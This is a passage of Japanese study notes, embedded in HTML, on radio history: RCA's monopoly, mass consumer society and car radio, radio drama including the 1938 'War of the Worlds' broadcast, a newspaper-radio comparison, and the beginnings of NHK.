&lt;div&gt;&lt;span&gt;- **設立企業**: ゼネラル・エレクトリック（GE）、ウェスティングハウス、AT&amp;amp;Tなどが参加&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### RCAの独占に関する批判&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;RCAの設立とラジオ産業の統合については、独占に関する批判もあった：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- **特許の集中**: RCAは、ラジオ技術に関する主要な特許を統合し、事実上の独占状態を形成した。これにより、他の企業がラジオ技術を自由に使用することが困難になった。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **競争の制限**: RCAの独占は、ラジオ産業における競争を制限し、技術革新の速度を低下させた可能性がある。また、ラジオ受信機の価格が高止まりし、一般家庭への普及が遅れた要因の一つとなった。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **規制の必要性**: RCAの独占は、1920年代後半から1930年代にかけて、連邦政府による規制の対象となった。1932年、連邦取引委員会（FTC）は、RCAの独占行為を調査し、特許のライセンス供与を促進するよう指導した。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;この事例は、技術の標準化と独占のバランスが重要であることを示している。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 無線とラジオの分離&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- 無線とラジオの分離&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- RCAの設立により、無線通信（軍事、船舶など）とラジオ放送（商業メディア）が明確に分離された&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 無線通信は軍事・産業用途に、ラジオ放送は商業メディアとして発展&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- この分離は、ラジオ放送の商業的発展を可能にした重要な転換点となった&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 8.2 ラジオの一元化と産業統合&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### ラジオの一元化はＲＣＡが行った&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### RCAによるラジオの一元化&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- RCAは、ラジオ技術の特許を統合し、ラジオ産業の一元化を推進&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- これにより、ラジオ技術の標準化が進み、互換性のある製品の製造が可能になった&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- ラジオの一元化は、ラジオ産業の効率化と、大衆への普及を促進した&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### ラジオ局→メディアとしてのラジオ&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- RCAの設立により、ラジオは単なる通信技術から、メディアとしての機能を持つようになった&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- ラジオ局は、情報を不特定多数の人々に伝達するマスメディアとして機能&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- この変化は、ラジオの社会的影響力を大きく拡大した&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;## 9. 大衆消費社会とラジオの普及&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 9.1 大衆消費社会の成立&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 大衆消費社会とは、生産技術の発展や大量生産・大量流通が可能となった20世紀以降の社会において、大多数の一般市民（大衆）が消費活動の主役となり、日常的に多様な商品やサービスを購入・享受する社会構造を指します。この社会では、広告やマスメディア、流通網の整備などにより、消費文化が広まり、同じような商品や娯楽が広範囲で受け入れられる傾向があります&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 大衆消費社会の特徴&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- **大量生産**: 工業的手法による大量の商品製造&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **大量流通**: 全国規模の流通網の整備&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **広告とマーケティング**: 消費を促進する広告戦略の展開&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **中流階級の拡大**: 購買力を持つ中流階級の増大&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **標準化されたライフスタイル**: 同じような商品やサービスが広範囲で受け入れられる&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 9.2 アメリカにおける大衆消費社会とラジオ&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 当時としては中流階級が生まれるようになり大衆消費社会、消費者資本主義として機能し、ラジオが普及した&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 自動車と家電製品の普及&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- アメリカでは自動車や家電製品、そして今回のラジオのような新技術が、大量生産と低価格化によって一般家庭にも普及しやすくなりました&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- フォードのT型自動車（1908-1927）は、大量生産により低価格化を実現し、一般家庭でも購入可能になった&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 家電製品（冷蔵庫、洗濯機、掃除機など）も、大量生産により価格が低下し、中流階級の家庭に普及&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 具体的な商品例&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 自動車&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- **フォードT型自動車**: 1908年に発売開始。大量生産により価格が850ドル（1913年）から290ドル（1925年）に低下。1927年までに1,500万台以上が生産され、アメリカの自動車普及率を大幅に向上させた。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 家電製品&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- **電気冷蔵庫**: 1920年代に一般家庭に普及。食品の保存期間が延び、食生活が大きく変化した。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **電気洗濯機**: 1920年代に普及。主婦の家事負担を軽減し、女性の社会進出を促進した。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **電気掃除機**: 1908年に発売開始。1920年代に一般家庭に普及し、清掃の効率化を実現した。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### ラジオ&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- **アトラディオ（Atwater Kent）**: 1920年代に人気を博したラジオ受信機。組み立て式キットから完成品まで、様々な価格帯で提供された。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **ゼニス（Zenith）**: 1923年に設立されたラジオメーカー。高品質なラジオ受信機を製造し、中流階級の家庭に人気があった。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 消費を通じた社会の一体化&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- 結果として、多くの人々が同じようなライフスタイルや価値観を持つようになり、消費を通じて社会が一体化する現象が見られます&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- ラジオは、この社会一体化の重要なメディアとして機能&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- ラジオを通じて、同じ音楽、同じニュース、同じ娯楽番組を享受することで、全国的な文化的共通体験が生まれた&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 大衆消費社会とラジオの関係&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;```mermaid&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;graph TB&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    A[大衆消費社会の成立] --&amp;gt; B[大量生産&lt;br /&gt;フォードT型自動車&lt;br /&gt;家電製品]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    A --&amp;gt; C[中流階級の拡大]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    A --&amp;gt; D[エンターテイメント需要の増大]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    B --&amp;gt; E[ラジオの普及]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    C --&amp;gt; E&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    D --&amp;gt; E&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    E --&amp;gt; F[ラジオ放送]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    F --&amp;gt; G[同じ音楽&lt;br /&gt;全国同時放送]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    F --&amp;gt; H[同じニュース&lt;br /&gt;リアルタイム配信]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    F --&amp;gt; I[同じ娯楽番組&lt;br /&gt;ラジオドラマ等]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    G --&amp;gt; J[文化的共通体験]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    H --&amp;gt; J&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    I --&amp;gt; J&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    J --&amp;gt; K[国民意識の形成]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    J --&amp;gt; L[社会の一体化]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;```&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 中流階級の拡大とエンターテイメント需要&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- また、大衆消費社会は中流階級の拡大とも結びついており、生活水準の向上やエンターテイメント需要の増大、さらには個人の趣味・嗜好の多様化をもたらしました&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- ラジオはその象徴的な存在であり、音楽やニュース、娯楽番組などを広範囲に届けることで、大衆文化形成に大きな役割を果たしました&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 9.3 カーラジオの普及とラジオの大衆化&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 車に搭載するカーラジオが普及の要になったと考えられる&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### カーラジオの登場&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- 1930年代、自動車にラジオを搭載する「カーラジオ」が登場&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- カーラジオは、移動中でもラジオを聞くことを可能にし、ラジオの利用シーンを大きく拡大&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- カーラジオの普及は、ラジオの大衆化を促進する重要な要因となった&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### カーラジオの社会的影響&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- カーラジオにより、ラジオは家庭内だけでなく、移動中にも楽しめるメディアとなった&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 自動車での移動時間が、ラジオを聞く時間として活用されるようになった&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- この変化は、ラジオの社会的影響力をさらに拡大した&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;## 10. ラジオドラマとエンターテイメント&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 10.1 ラジオドラマの特徴と発展&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### ラジオドラマは、音声のみで物語を伝える放送形式で、俳優の台詞・効果音・音楽によって聴取者に情景や感情を喚起する。1930年代のアメリカでは特に人気を博し、家庭で娯楽として親しまれた&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### ラジオドラマの技術的要素&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- **台詞**: 俳優による演技と音声表現&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **効果音**: 環境音、動作音など、情景を表現する音響効果&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **音楽**: 背景音楽、テーマ音楽など、感情や雰囲気を演出&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **ナレーション**: 物語の進行を説明する語り&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### ラジオドラマの表現技法&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- **音声による情景描写**: 視覚情報がないため、音声だけで情景を想像させる必要がある&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **想像力の喚起**: 聴取者の想像力を刺激し、物語の世界を構築&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **臨場感の創出**: 効果音や音楽により、臨場感あふれる放送を実現&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### ラジオドラマの制作プロセス&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;```mermaid&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;flowchart TB&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    A[脚本・台本] --&amp;gt; B[キャスティング&lt;br /&gt;俳優選定]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    B --&amp;gt; C[スタジオ収録]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    C --&amp;gt; D[台詞&lt;br /&gt;俳優の演技]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    C --&amp;gt; E[効果音&lt;br /&gt;環境音・動作音]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    C --&amp;gt; F[音楽&lt;br /&gt;BGM・テーマ曲]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    C --&amp;gt; G[ナレーション&lt;br /&gt;語り]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    D --&amp;gt; H[音響ミキサー&lt;br /&gt;音声の合成・調整]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    E --&amp;gt; H&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    F --&amp;gt; H&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    G --&amp;gt; H&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    H --&amp;gt; I[最終編集]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    I --&amp;gt; J[放送局へ送信]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    J --&amp;gt; K[電波として送信]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    K --&amp;gt; L[リスナーが受信]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;```&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 10.2 「宇宙戦争」（1938年）の社会的影響&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 代表的な例として「宇宙戦争」（1938年）があり、臨場感あふれる放送がリスナーに強い衝撃や社会的反響を与えた&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 「宇宙戦争」放送の概要&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- **放送日**: 1938年10月30日（ハロウィンの前夜）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **放送局**: CBS（Columbia Broadcasting System）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **演出**: オーソン・ウェルズ&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **内容**: H・G・ウェルズの小説「宇宙戦争」を、ニュース速報形式で放送&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 社会的反響&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- 臨場感あふれる放送がリスナーに強い衝撃を与え、多くの人が実際に火星人が攻撃してきたと信じた&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- パニックが発生し、電話が殺到、道路が混雑するなどの社会的混乱が生じた&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- この事件は、ラジオメディアの影響力の大きさを実証する歴史的な事例となった&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### メディア研究への影響&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- 「宇宙戦争」事件は、マスメディアの影響力に関する研究の重要な事例となった&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- この事件は、メディア効果理論（Media Effects Theory）の研究に大きな影響を与えた&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 特に、「強力効果モデル」（Powerful Effects Model）の実証例として引用される&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 10.3 ラジオドラマの文化的意義&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### テレビ普及以前は、ラジオドラマが人々の想像力を刺激し、家庭内の共通体験として機能していた&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### テレビ普及以前のエンターテイメント&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- テレビ普及以前は、ラジオドラマが人々の想像力を刺激し、家庭内の共通体験として機能していた&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 家族が一緒にラジオを聞き、同じ物語を共有することで、家族の絆が深まった&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- ラジオドラマは、現代のテレビドラマや映画の原型とも言える&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 想像力のメディア&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- ラジオドラマは、視覚情報がないため、聴取者の想像力に大きく依存するメディア&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- この特徴は、テレビや映画とは異なる、ラジオ独自の表現力として機能&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 現代でも、ポッドキャストやオーディオドラマなど、音声のみのメディアが人気を博している&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 10.4 コメディとジャズ：ラジオの多様なエンターテイメント&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### コメディ、ジャズ&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### コメディ番組&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- ラジオでは、コメディ番組も人気を博した&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 音声のみの表現により、独特のコメディスタイルが発展&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- ラジオコメディは、後のテレビコメディの基礎となった&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### ジャズ音楽の放送&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- ラジオは、ジャズ音楽を広範囲に伝播する重要なメディアとなった&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 特に1920年代から1930年代にかけて、ジャズはラジオを通じて全国的に普及&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- ラジオによるジャズの普及は、アメリカの音楽文化に大きな影響を与えた&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### エンターテイメントとしてのラジオ&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- このようにエンタメ（娯楽）としてのラジオが普及した&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- ラジオは単なる情報伝達のメディアではなく、エンターテイメント（娯楽）としての機能を持つメディアとして発展&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- ラジオによるエンターテイメントの提供は、ラジオの大衆化を促進する重要な要因となった&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;## 11. 新聞とラジオ：メディアの比較分析&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 11.1 ラジオの特徴&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 新聞とラジオの特徴&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### リアルタイム性&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- ラジオリアルタイム制（聴覚性）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- ラジオは、情報をリアルタイムで伝達することを特徴とする&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- ニュース、選挙速報、スポーツ中継など、時間的制約が重要な情報の伝達に適している&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- このリアルタイム性は、ラジオの最大の強みの一つ&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 聴覚性&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- ラジオは、音声のみで情報を伝達する聴覚メディア&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 視覚情報がないため、聴取者の想像力に依存する&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 音声による表現（声のトーン、音楽、効果音など）が重要&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 11.2 新聞の特徴&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 新聞（正確性、視覚性、既報）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 正確性&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- 新聞は、情報を文字として記録し、編集・校正を経て発行されるため、正確性が高い&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 情報の検証と確認が可能で、誤報のリスクが相対的に低い&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- この正確性は、新聞の信頼性の基盤となっている&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 視覚性&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- 新聞は、文字、写真、図表など、視覚的な情報を提供&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 情報を視覚的に確認でき、詳細な情報を提供可能&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- この視覚性は、新聞の理解しやすさと情報量の多さを実現&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 既報性（記録性）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- 新聞は、情報を紙媒体として記録し、後から参照することが可能&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 過去の情報を保存し、必要に応じて再確認できる&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- この既報性は、新聞の資料的価値を高めている&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 11.3 メディアの補完関係&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### ラジオと新聞の役割分担&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- ラジオは、リアルタイムの情報伝達に優れている&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 新聞は、詳細で正確な情報の提供に優れている&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- このように、ラジオと新聞は、それぞれ異なる強みを持ち、補完的な関係にある&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### メディアの統合&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- 現代では、ラジオと新聞は、デジタルメディアと統合され、より多様な情報提供が可能になっている&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- ラジオ局がウェブサイトで記事を配信したり、新聞社がポッドキャストを配信したりするなど、メディアの境界が曖昧になっている&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;## 12. 日本のラジオ普及：国主導の展開&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 12.1 日本のラジオ普及の特徴&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 日本の普及は初期から国主導で普及した&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 初期から国主導での普及&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- 日本のラジオ普及は、初期から国主導で進められた&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 1925年、日本放送協会（NHK）が設立され、公共放送としてラジオ放送を開始&lt;/span&gt;&lt;/div&gt;
